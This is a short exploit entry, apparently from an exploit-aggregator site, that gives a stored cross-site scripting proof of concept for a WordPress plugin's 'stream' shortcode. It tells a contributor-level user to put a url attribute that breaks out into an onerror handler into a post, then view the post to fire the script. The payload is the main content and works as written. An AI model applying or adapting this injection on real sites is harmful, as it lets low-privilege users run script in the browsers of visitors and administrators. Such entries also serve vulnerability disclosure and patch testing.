## https://sploitus.com/exploit?id=WPEX-ID:260C7E2D-D48C-42D6-AE05-BAD3F3BAC01D Log in as contributor and add the following shortcode in a post [stream url='" onerror="alert(/XSS/)"'] Then view the post to trigger the XSS